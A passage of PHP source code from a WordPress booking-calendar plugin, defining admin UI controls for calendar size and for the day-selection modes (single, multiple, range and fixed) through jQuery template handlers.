); /* var t_months_in_row = ( 3 > t_visible_months ) ? '' : 2 ; wpbc_ajx_customize_plugin.search_set_param( 'calendar__view__months_in_row', t_months_in_row ); */ wpbc_ajx_customize_plugin__send_request_with_params( {} ); wpbc_admin_show_message_processing( '' ); " ); wpbc_flex_select( $params_select ); wpbc_ajx_cstm__ui__selectbox_prior_btn( $el_id ); wpbc_ajx_cstm__ui__selectbox_next_btn( $el_id ); ?></div><?php // Set checked specific OPTION depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ // Set selected option in dropdown list based on data. value jQuery( '#<?php echo $el_id; ?> option[value="' + data.ajx_data.calendar_settings.calendar__view__visible_months + '"]' ).prop( 'selected', true ); } ); <?php if (0) { ?></script><?php } ?> #><?php } /** * Select-box - Number of Months in a Row * * @return void */ function wpbc_ajx_cstm__ui__template__months_in_row(){ $booking_action = 'set_calendar_months_in_row'; $el_id = 'ui_btn_cstm__' . $booking_action ; //if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } ?><div class="ui_element ui_nowrap0"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:600;">' . __('Number of months in a row' ,'booking') . ':</span>' ) ); ?></div><?php ?><div class="ui_element ui_nowrap"><?php // Options $dropdown_options = array( '' => __('Default','booking'), 1 => 1, 2 => 2, 3 => 3, 4 => 4, 5 => 5, 6 => 6 ); $params_select = array( 'id' => $el_id // HTML ID of element , 'name' => $booking_action , 'label' => '' //__( 'Select the skin of the booking calendar', 'booking' )//__('Calendar Skin', 'booking') , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element //, 'multiple' => true //, 'attr' => array( 'value_of_selected_option' => '{{selected_locale_value}}' ) // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array() // If some options disabled, then it has to list here , 'options' => $dropdown_options //, 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] // Some Value from options array that selected by default //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "wpbc_ajx_customize_plugin.search_set_param( 'calendar__view__months_in_row', jQuery(this).val() ); wpbc_ajx_customize_plugin__send_request_with_params( {} );" ); wpbc_flex_select( $params_select ); wpbc_ajx_cstm__ui__selectbox_prior_btn( $el_id ); wpbc_ajx_cstm__ui__selectbox_next_btn( $el_id ); ?></div><?php // Set checked specific OPTION depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ // Set selected option in dropdown list based on data. value jQuery( '#<?php echo $el_id; ?> option[value="' + data.ajx_data.calendar_settings.calendar__view__months_in_row + '"]' ).prop( 'selected', true ); } ); <?php if (0) { ?></script><?php } ?> #><?php } /** * Width of Calendar * * @return void */ function wpbc_ajx_cstm__ui__template__calendar_width(){ $booking_action = 'set_calendar_width'; $el_id = 'ui_btn_cstm__' . $booking_action ; //if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } ?><div class="ui_element ui_nowrap0"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:600;">' . __('Maximum width of calendar' ,'booking') . ':</span>' ) ); ?></div><?php ?><div class="ui_element ui_nowrap"><?php $param_text = array( 'type' => 'text' , 'id' => $el_id , 'name' => $el_id , 'label' => '' , 'disabled' => false , 'class' => '' , 'style' => 'width:5em;' , 'placeholder' => __( 'Default', 'booking' ) , 'attr' => array() , 'is_escape_value' => false , 'value' => "{{ data.ajx_data.calendar_settings.calendar__view__width.replace('px','').replace('%','') }}" , 'onfocus' => '' //, 'onkeydown' => "jQuery('.ui__set_booking_cost__section_in_booking_{{data['parsed_fields']['booking_id']}}').show();" // JavaScript code , 'onchange' => "var t_width = parseInt( jQuery(this).val() ); t_width = isNaN( t_width ) ? '' : t_width; var t_dim = jQuery( '#" . $el_id . "_dim' ).val(); if ( '%' == t_dim ){ t_width = ( t_width > 100) ? 100 : t_width; t_width = ( 0 === t_width ) ? '' : t_width; } t_dim = ( '' === t_width ) ? '' : t_dim; wpbc_ajx_customize_plugin.search_set_param( 'calendar__view__width', t_width + t_dim );" // . " wpbc_ajx_customize_plugin__send_request_with_params( {} );" ); wpbc_flex_text( $param_text ); $params_select = array( 'id' => $el_id . '_dim' // HTML ID of element , 'name' => $el_id . '_dim' , 'label' => '' //__( 'Select the skin of the booking calendar', 'booking' )//__('Calendar Skin', 'booking') , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element //, 'multiple' => true //, 'attr' => array( 'value_of_selected_option' => '{{selected_locale_value}}' ) // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array() // If some options disabled, then it has to list here , 'options' => array( '%' => '% ', 'px' => 'px ' ) //, 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] // Some Value from options array that selected by default //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "jQuery( '#" . $el_id . "' ).trigger( 'change' );" ); wpbc_flex_select( $params_select ); //wpbc_ajx_cstm__ui__select_skin_prior_btn( $el_id ); //wpbc_ajx_cstm__ui__select_skin_next_btn( $el_id ); ?></div><?php // Set checked specific OPTION depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ if ( -1 !== data.ajx_data.calendar_settings.calendar__view__width.indexOf('%') ) { jQuery( '#<?php echo $el_id; ?>_dim option[value="%"]' ).prop( 'selected', true ); } else { jQuery( '#<?php echo $el_id; ?>_dim option[value="px"]' ).prop( 'selected', true ); } } ); <?php if (0) { ?></script><?php } ?> #><?php } /** * Height of Calendar Cell * * @return void */ function wpbc_ajx_cstm__ui__template__calendar_cell_height(){ $booking_action = 'set_calendar_cell_height'; $el_id = 'ui_btn_cstm__' . $booking_action ; //if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } ?><div class="ui_element ui_nowrap0"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:600;">' . __('Height of calendar cell' ,'booking') . ':</span>' ) ); ?></div><?php ?><div class="ui_element ui_nowrap"><?php $param_text = array( 'type' => 'text' , 'id' => $el_id , 'name' => $el_id , 'label' => '' , 'disabled' => false , 'class' => '' , 'style' => 'width:5em;' , 'placeholder' => __( 'Default', 'booking' ) , 'attr' => array() , 'is_escape_value' => false , 'value' => "{{ data.ajx_data.calendar_settings.calendar__view__cell_height.replace('px','').replace('%','') }}" , 'onfocus' => '' //, 'onkeydown' => "jQuery('.ui__set_booking_cost__section_in_booking_{{data['parsed_fields']['booking_id']}}').show();" // JavaScript code , 'onchange' => "var t_cell_height = parseInt( jQuery(this).val() ); t_cell_height = isNaN( t_cell_height ) ? '' : t_cell_height; var t_dim = jQuery( '#" . $el_id . "_dim' ).val(); t_dim = ( '' === t_cell_height ) ? '' : t_dim; wpbc_ajx_customize_plugin.search_set_param( 'calendar__view__cell_height', t_cell_height + t_dim );" // . " wpbc_ajx_customize_plugin__send_request_with_params( {} );" ); wpbc_flex_text( $param_text ); $params_select = array( 'id' => $el_id . '_dim' // HTML ID of element , 'name' => $el_id . '_dim' , 'label' => '' //__( 'Select the skin of the booking calendar', 'booking' )//__('Calendar Skin', 'booking') , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element //, 'multiple' => true //, 'attr' => array( 'value_of_selected_option' => '{{selected_locale_value}}' ) // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array() // If some options disabled, then it has to list here , 'options' => array( 'px' => 'px ' ) //, 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] // Some Value from options array that selected by default //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "jQuery( '#" . $el_id . "' ).trigger( 'change' );" ); wpbc_flex_select( $params_select ); //wpbc_ajx_cstm__ui__select_skin_prior_btn( $el_id ); //wpbc_ajx_cstm__ui__select_skin_next_btn( $el_id ); ?></div><?php } /** * Button - Apply * @return void */ function wpbc_ajx_cstm__ui__calendar_size_apply__btn(){ $params = array( 'type' => 'button' , 'title' => __( 'Apply Size', 'booking' ) . ' ', // Title of the button 'hint' => '', //array( 'title' => __( 'Reset selected options to default values', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "wpbc_ajx_customize_plugin__send_request_with_params( { } ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );", // JavaScript 'icon' => array( 'icon_font' => 'wpbc_icn_check', //'wpbc_icn_rotate_left', wpbc_icn_close 'position' => 'left', 'icon_img' => '' ), 'class' => 'wpbc_ui_button', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array() ); wpbc_flex_button( $params ); } /** * Button - Reset Calendar Size * @return void */ function wpbc_ajx_cstm__ui__calendar_size_reset__btn(){ $params = array( 'type' => 'button' , 'title' => __( 'Reset Size', 'booking' ) . ' ', // Title of the button 'hint' => '',//array( 'title' => __( 'Reset selected options to default values', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "wpbc_ajx_customize_plugin.search_set_param( 'calendar__view__visible_months', 1 ); wpbc_ajx_customize_plugin.search_set_param( 'calendar__view__months_in_row', '' ); wpbc_ajx_customize_plugin.search_set_param( 'calendar__view__width', '' ); wpbc_ajx_customize_plugin.search_set_param( 'calendar__view__cell_height', '' ); wpbc_ajx_customize_plugin__send_request_with_params( {} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );", // JavaScript 'icon' => array( 'icon_font' => 'wpbc_icn_close', //'wpbc_icn_rotate_left', wpbc_icn_settings_backup_restore 'position' => 'left', 'icon_img' => '' ), 'class' => 'wpbc_ui_button_danger0', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => 'btn__status_bar__reset' ) ); wpbc_flex_button( $params ); } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" == Dates Selection UI == " > /** * Radio buttons - Dates selection mode * * @return void */ function wpbc_ajx_cstm__ui__template__calendar_dates_selection(){ $booking_action = 'set_calendar_dates_selection'; $el_id = 'ui_btn_cstm__' . $booking_action ; //if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } ?><div class="ui_element ui_nowrap0"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:600;">' . __('Days selection in calendar' ,'booking') . ':</span>' ) ); ?></div><?php ?><div class="ui_element"><?php $el_value = 'single'; ?><span class="wpbc_ui_control wpbc_ui_button <?php echo $el_id. '_' . $el_value . '__outer_button'; ?>" style="padding-right: 8px;"><?php $params_radio = array( 'id' => $el_id . '_' . $el_value // HTML ID of element , 'name' => $booking_action , 'label' => array( 'title' => __('Single day' ,'booking') , 'position' => 'right' ) , 'style' => 'margin:1px 0 0;' // CSS of select element , 'class' => 'wpbc_radio__set_days_availability' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => $el_value // Some Value from options array that selected by default //, 'selected' => false //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "return false;" ); wpbc_flex_radio( $params_radio ); ?></span><?php ?></div><?php $el_value = 'multiple'; ?><div class="ui_element"><?php ?><span class="wpbc_ui_control wpbc_ui_button <?php echo $el_id. '_' . $el_value . '__outer_button'; ?>" style="padding-right: 8px;"><?php $params_radio = array( 'id' => $el_id . '_' . $el_value // HTML ID of element , 'name' => $booking_action , 'label' => array( 'title' => __('Multiple days' ,'booking') , 'position' => 'right' ) , 'style' => 'margin:1px 0 0;' // CSS of select element , 'class' => 'wpbc_radio__set_days_availability' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => $el_value // Some Value from options array that selected by default //, 'selected' => false //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ); wpbc_flex_radio( $params_radio ); ?></span><?php ?></div><?php // Set checked specific Radio button, depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ <?php foreach ( array( 'single', 'multiple' ) as $item_val) { ?> // Change and send Ajax jQuery( '#ui_btn_cstm__set_calendar_dates_selection_<?php echo $item_val; ?>' ).on( 'change', function ( event ){ <?php // It's required for not send request second time ! ?> jQuery( '#ui_btn_cstm__set_calendar_dates_selection_<?php echo $item_val; ?>' ).off( 'change' ); wpbc_ajx_customize_plugin.search_set_param( 'calendar__days_selection_mode', '<?php echo $item_val; ?>' ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_dates_selection'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' ); return false; } ); <?php // Helper, if we click on button side, and not at radio button or label, then make radio checked. ?> jQuery( '.ui_btn_cstm__set_calendar_dates_selection_<?php echo $item_val; ?>__outer_button' ).on( 'click', function (){ jQuery( '#ui_btn_cstm__set_calendar_dates_selection_<?php echo $item_val; ?>' ).prop( "checked", true ).trigger('change'); } ); <?php } ?> // Set checked or not, specific radio buttons if ( 'single' == data.ajx_data.calendar_settings.calendar__days_selection_mode ){ jQuery( '#ui_btn_cstm__set_calendar_dates_selection_single' ).prop( 'checked', true ); } if ( 'multiple' == data.ajx_data.calendar_settings.calendar__days_selection_mode ){ jQuery( '#ui_btn_cstm__set_calendar_dates_selection_multiple' ).prop( 'checked', true ); } } ); <?php if (0) { ?></script><?php } ?> #><?php // wpbc_ajx_cstm__ui__template__calendar_dates_selection_range(); } /** * Radio buttons - Range Dates selection mode - Business Small and higher * * @return void */ function wpbc_ajx_cstm__ui__template__calendar_dates_selection_range(){ $booking_action = 'set_calendar_dates_selection'; $el_id = 'ui_btn_cstm__' . $booking_action ; //if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } $el_value = 'dynamic'; ?><div class="ui_element"><?php ?><span class="wpbc_ui_control wpbc_ui_button <?php echo $el_id. '_' . $el_value . '__outer_button'; ?>" style="padding-right: 8px;"><?php $params_radio = array( 'id' => $el_id . '_' . $el_value // HTML ID of element , 'name' => $booking_action , 'label' => array( 'title' => sprintf(__('2 mouse clicks' ,'booking'),'<strong>','</strong>','<strong>','</strong>') , 'position' => 'right' ) , 'style' => 'margin:1px 0 0;' // CSS of select element , 'class' => 'wpbc_radio__set_days_availability' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => $el_value // Some Value from options array that selected by default //, 'selected' => false //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ); wpbc_flex_radio( $params_radio ); ?></span><?php ?></div><?php ?><div class="ui_element_sub_section ui_element_sub_section_dynamic" ><?php wpbc_ajx_cstm__ui__template__calendar_dates_selection_range__min_max(); wpbc_ajx_cstm__ui__template__calendar_dates_selection_range__specific(); wpbc_ajx_cstm__ui__template__calendar_dates_selection_range__start_days(); ?></div><?php $el_value = 'fixed'; ?><div class="ui_element"><?php ?><span class="wpbc_ui_control wpbc_ui_button <?php echo $el_id. '_' . $el_value . '__outer_button'; ?>" style="padding-right: 8px;"><?php $params_radio = array( 'id' => $el_id . '_' . $el_value // HTML ID of element , 'name' => $booking_action , 'label' => array( 'title' => sprintf(__('1 mouse click' ,'booking'),'<strong>','</strong>','<strong>','</strong>') , 'position' => 'right' ) , 'style' => 'margin:1px 0 0;' // CSS of select element , 'class' => 'wpbc_radio__set_days_availability' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => $el_value // Some Value from options array that selected by default //, 'selected' => false //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ); wpbc_flex_radio( $params_radio ); ?></span><?php ?></div><?php ?><div class="ui_element_sub_section ui_element_sub_section_fixed" ><?php wpbc_ajx_cstm__ui__template__calendar_dates_selection_fixed__number(); wpbc_ajx_cstm__ui__template__calendar_dates_selection_fixed__start_days(); ?></div><?php // Set checked specific Radio button, depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ <?php foreach ( array( 'dynamic', 'fixed' ) as $item_val) { ?> // Change and send Ajax jQuery( '#ui_btn_cstm__set_calendar_dates_selection_<?php echo $item_val; ?>' ).on( 'change', function ( event ){ <?php // It's required for not send request second time ! ?> jQuery( '#ui_btn_cstm__set_calendar_dates_selection_<?php echo $item_val; ?>' ).off( 'change' ); wpbc_ajx_customize_plugin.search_set_param( 'calendar__days_selection_mode', '<?php echo $item_val; ?>' ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_dates_selection'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' ); jQuery( '.ui_element_sub_section_dynamic,.ui_element_sub_section_fixed').hide(); if ('fixed' == '<?php echo $item_val; ?>') { jQuery( '.ui_element_sub_section_fixed').show(); } else { jQuery( '.ui_element_sub_section_dynamic').show(); } return false; } ); <?php // Helper, if we click on button side, and not at radio button or label, then make radio checked. ?> jQuery( '.ui_btn_cstm__set_calendar_dates_selection_<?php echo $item_val; ?>__outer_button' ).on( 'click', function (){ jQuery( '#ui_btn_cstm__set_calendar_dates_selection_<?php echo $item_val; ?>' ).prop( "checked", true ).trigger('change'); } ); <?php } ?> // Set checked or not, specific radio buttons if ( 'dynamic' == data.ajx_data.calendar_settings.calendar__days_selection_mode ){ jQuery( '#ui_btn_cstm__set_calendar_dates_selection_dynamic' ).prop( 'checked', true ); } jQuery( '.ui_element_sub_section_dynamic,.ui_element_sub_section_fixed').hide(); if ( 'fixed' == data.ajx_data.calendar_settings.calendar__days_selection_mode ){ jQuery( '#ui_btn_cstm__set_calendar_dates_selection_fixed' ).prop( 'checked', true ); jQuery( '.ui_element_sub_section_fixed').show(); } else { jQuery( '.ui_element_sub_section_dynamic').show(); } } ); <?php if (0) { ?></script><?php } ?> #><?php } /** * Range Days Min - Max */ function wpbc_ajx_cstm__ui__template__calendar_dates_selection_range__min_max(){ $booking_action = 'set_calendar_dates_selection_dynamic'; $el_id = 'ui_btn_cstm__' . $booking_action . '_min'; /* ?><div class="ui_element ui_element_micro ui_nowrap0" style="flex:1 1 100%"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:600;">' . __('Min-max' ,'booking') . ':</span>' ) ); ?></div><?php */ $params = array( 'id' => $el_id // HTML ID of element , 'name' => $el_id , 'label' => __( 'From', 'booking' )//'<span class="" style="font-weight:600;">' . __( 'Days', 'booking' ) . ' <em style="color:#888;">(' . __( 'min-max', 'booking' ) . '):</em></span>' , 'style' => 'max-width: 50px;' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => '1' , 'value' => "{{ data.ajx_data.calendar_settings.calendar__bk_2clicks_mode_days_min }}" //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => " wpbc_ajx_customize_plugin.search_set_param( 'calendar__bk_2clicks_mode_days_min', jQuery(this).val() ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_dates_selection'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );" ); ?><div class="ui_element ui_element_micro" style="margin-right: 5px;"><?php wpbc_flex_text( $params ); ?></div><?php $el_id = 'ui_btn_cstm__' . $booking_action . '_max'; $params = array( 'id' => $el_id // HTML ID of element , 'name' => $el_id , 'label' => __( 'to', 'booking' )//'<span class="" style="font-weight:600;"> ‐ </span>' , 'style' => 'max-width: 50px;' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => '30' , 'value' => "{{ data.ajx_data.calendar_settings.calendar__bk_2clicks_mode_days_max }}" //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => " wpbc_ajx_customize_plugin.search_set_param( 'calendar__bk_2clicks_mode_days_max', jQuery(this).val() ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_dates_selection'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );" ); ?><div class="ui_element ui_element_micro"><?php wpbc_flex_text( $params ); ?></div><?php ?><div class="ui_element ui_element_micro"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => __('days' ,'booking') ) ); ?></div><?php } /** * Range Days Specific */ function wpbc_ajx_cstm__ui__template__calendar_dates_selection_range__specific(){ $booking_action = 'set_calendar_dates_selection_dynamic'; $el_id = 'ui_btn_cstm__' . $booking_action . '_specific'; ?><div class="ui_element ui_element_micro ui_nowrap0" style="flex:1 1 100%"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:400;">' . __('Specific days selections' ,'booking') . ':</span>' ) ); ?></div><?php $params = array( 'id' => $el_id // HTML ID of element , 'name' => $el_id , 'label' => ''//'<span class="" style="font-weight:600;">' . __( 'Days', 'booking' ) . ' <em style="color:#888;">(' . __( 'min-max', 'booking' ) . '):</em></span>' , 'style' => 'max-width: 100%;' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => '7,14,21,28' , 'value' => "{{ data.ajx_data.calendar_settings.calendar__bk_2clicks_mode_days_specific }}" //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => " wpbc_ajx_customize_plugin.search_set_param( 'calendar__bk_2clicks_mode_days_specific', jQuery(this).val() ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_dates_selection'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );" ); ?><div class="ui_element ui_element_micro"><?php wpbc_flex_text( $params ); ?></div><?php } /** * Range Days Start week days* */ function wpbc_ajx_cstm__ui__template__calendar_dates_selection_range__start_days(){ $booking_action = 'set_calendar_dates_selection_dynamic'; $el_id = 'ui_btn_cstm__' . $booking_action . '_start_days'; ?><div class="ui_element ui_element_micro ui_nowrap0" style="flex:1 1 100%"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:400;">' . __('Start day of range' ,'booking') . ':</span>' ) ); ?></div><?php //TODO: here 2023-07-02 // Set checked or unchecked checkboxes depends from data.ajx_data.calendar_settings.calendar__bk_2clicks_mode_days_start = "2,5 || "0,1,2,3,4,5,6" || "-1" // Then onchange send correct 'calendar__bk_2clicks_mode_days_start' value, for example if it's "0,1,2,3,4,5,6", then it have to be '-1' // And create the same UI for fixed 1 click // data.ajx_data.calendar_settings.calendar__bk_2clicks_mode_days_start = "2,5 || "0,1,2,3,4,5,6" || "-1" $week_days_arr = array( 0 => __( 'Su', 'booking' ) , 1 => __( 'Mo', 'booking' ) , 2 => __( 'Tu', 'booking' ) , 3 => __( 'We', 'booking' ) , 4 => __( 'Th', 'booking' ) , 5 => __( 'Fr', 'booking' ) , 6 => __( 'Sa', 'booking' ) ); foreach ( $week_days_arr as $day_key => $day_title ) { $params_checkbox = array( 'id' => $el_id . '_'.$day_key // HTML ID of element , 'name' => $el_id . '_'.$day_key , 'label' => array( 'title' => $day_title , 'position' => 'right' ) //FixIn: 9.6.1.5 , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => $day_key // Some Value from optins array that selected by default , 'selected' => false // Selected or not //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "wpbc_ajx_booking_send_search_request_with_params( {'ui_usr__send_emails': (jQuery( this ).is(':checked') ? 'send' : 'not_send') } );" // JavaScript code , 'onchange' => " var sel_arr_el = wpbc_ajx_customize_plugin.search_get_param( 'calendar__bk_2clicks_mode_days_start' ); if ( -1 == sel_arr_el ){ sel_arr_el = '0,1,2,3,4,5,6'; } if ( jQuery( this ).is(':checked') ) { sel_arr_el = _.uniq( ['".$day_key."'].concat( sel_arr_el.split(',') ) ).sort().join( ','); } else { sel_arr_el = _.uniq( _.without( sel_arr_el.split(','), '".$day_key."' ) ).sort().join( ','); } wpbc_ajx_customize_plugin.search_set_param( 'calendar__bk_2clicks_mode_days_start', sel_arr_el ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_dates_selection'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );" ); ?><div class="ui_element ui_element_micro"><?php wpbc_flex_toggle( $params_checkbox ); ?></div><?php // Set checked specific Radio button, depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ if ( ( '-1' === data.ajx_data.calendar_settings.calendar__bk_2clicks_mode_days_start ) || ( -1 !== data.ajx_data.calendar_settings.calendar__bk_2clicks_mode_days_start.indexOf( '<?php echo $day_key; ?>' ) ) ){ jQuery( '#<?php echo $el_id . '_'.$day_key; ?>' ).prop( 'checked', true );//.trigger( 'change' ); } else { jQuery( '#<?php echo $el_id . '_'.$day_key; ?>' ).prop( 'checked', false );//.trigger( 'change' ); } } ); <?php if (0) { ?></script><?php } ?> #><?php } } /** * Fixed Days Number */ function wpbc_ajx_cstm__ui__template__calendar_dates_selection_fixed__number(){ $booking_action = 'set_calendar_dates_selection_fixed'; $el_id = 'ui_btn_cstm__' . $booking_action . '_number'; ?><div class="ui_element ui_element_micro ui_nowrap0" style="flex:1 1 100%"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:400;">' . __('Days selection number' ,'booking') . ':</span>' ) ); ?></div><?php $params = array( 'id' => $el_id // HTML ID of element , 'name' => $el_id , 'label' => ''//'<span class="" style="font-weight:600;">' . __( 'Days', 'booking' ) . ' <em style="color:#888;">(' . __( 'min-max', 'booking' ) . '):</em></span>' , 'style' => 'max-width: 100%;' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => '7' , 'value' => "{{ data.ajx_data.calendar_settings.calendar__bk_1click_mode_days_num }}" //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => " wpbc_ajx_customize_plugin.search_set_param( 'calendar__bk_1click_mode_days_num', jQuery(this).val() ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_dates_selection'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );" ); ?><div class="ui_element ui_element_micro"><?php wpbc_flex_text( $params ); ?></div><?php } /** * Fixed Days Start week days* */ function wpbc_ajx_cstm__ui__template__calendar_dates_selection_fixed__start_days(){ $booking_action = 'set_calendar_dates_selection_fixed'; $el_id = 'ui_btn_cstm__' . $booking_action . '_start_days'; ?><div class="ui_element ui_element_micro ui_nowrap0" style="flex:1 1 100%"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:400;">' . __('Start day of range' ,'booking') . ':</span>' ) ); ?></div><?php $week_days_arr = array( 0 => __( 'Su', 'booking' ) , 1 => __( 'Mo', 'booking' ) , 2 => __( 'Tu', 'booking' ) , 3 => __( 'We', 'booking' ) , 4 => __( 'Th', 'booking' ) , 5 => __( 'Fr', 'booking' ) , 6 => __( 'Sa', 'booking' ) ); foreach ( $week_days_arr as $day_key => $day_title ) { $params_checkbox = array( 'id' => $el_id . '_'.$day_key // HTML ID of element , 'name' => $el_id . '_'.$day_key , 'label' => array( 'title' => $day_title , 'position' => 'right' ) //FixIn: 9.6.1.5 , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => $day_key // Some Value from optins array that selected by default , 'selected' => false // Selected or not //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "wpbc_ajx_booking_send_search_request_with_params( {'ui_usr__send_emails': (jQuery( this ).is(':checked') ? 'send' : 'not_send') } );" // JavaScript code , 'onchange' => " var sel_arr_el = wpbc_ajx_customize_plugin.search_get_param( 'calendar__bk_1click_mode_days_start' ); if ( -1 == sel_arr_el ){ sel_arr_el = '0,1,2,3,4,5,6'; } if ( jQuery( this ).is(':checked') ) { sel_arr_el = _.uniq( ['".$day_key."'].concat( sel_arr_el.split(',') ) ).sort().join( ','); } else { sel_arr_el = _.uniq( _.without( sel_arr_el.split(','), '".$day_key."' ) 